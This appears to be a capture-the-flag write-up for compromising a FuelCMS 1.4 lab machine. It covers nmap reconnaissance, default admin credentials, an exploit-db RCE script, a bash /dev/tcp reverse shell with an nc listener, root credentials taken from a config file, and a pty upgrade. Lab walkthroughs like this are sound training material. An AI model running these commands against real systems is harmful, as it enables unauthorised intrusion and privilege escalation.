# Write-Up
### Objectives
In this machine, we are tasked with finding two specific items: **user.txt** and **root.txt**.
***
### Reconnaissance
We start by running an **nmap** scan on the most common 100 ports to identify open services:
```bash
nmap -F --open
```
The **-****F** flag scans the top 100 common ports, and **--open** shows only open ports.
The scan reveals that port **80** is open. We visit the web page at:
```bash
http://
```
We find a landing page for **FuelCMS**, version **1.4**. Reading the configuration steps, we notice a link to the **admin** panel.
Upon closer inspection of the landing page, we find default admin credentials listed: **admin/admin**. We attempt to log in to the **admin** panel using these credentials and successfully gain access.
***
### Exploitation
Once inside, the CMS seems recently installed and quite empty. Given the CMS version, we check [**exploit-db.com**](http://www.exploit-db.com) for potential vulnerabilities.
We discover three Remote Code Execution (RCE) exploits. We opt for the third one, written in **Python3**, as it is current and well-documented.
We copy the exploit to a file named **fuel.py** and run it:
```bash
python3 fuel.py -u
```
This provides a web shell running as **www-data**. Checking the directories, we locate **user.txt** and read its contents.
***
### Privilege Escalation
The web shell does not allow us to input passwords for **sudo** commands, limiting our ability to escalate privileges. To overcome this, we establish a **reverse shell**.
We start a listener on our local machine:
```bash
nc -lnvp 4444
```
Then, on the victim machine, we run:
```bash
bash -c "bash -i >& /dev/tcp//4444 0>&1"
```
To find our IP, we run **`ifconfig`** and use the IP under **tun0**.
With the reverse shell active, we check the FuelCMS landing page again. The database configuration file mentioned in step 2 catches our attention.
We inspect it:
```
cat /path/to/config/database.php
```
At the bottom, we find the **root** credentials:
```bash
username: root
password: mememe
```
However, trying to switch to root gives us a terminal error. We need a better shell, so we import a **pseudo-terminal** for full interaction:
```python
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
Now we try switching to root again, and it works. We locate **root.txt** and read its contents.
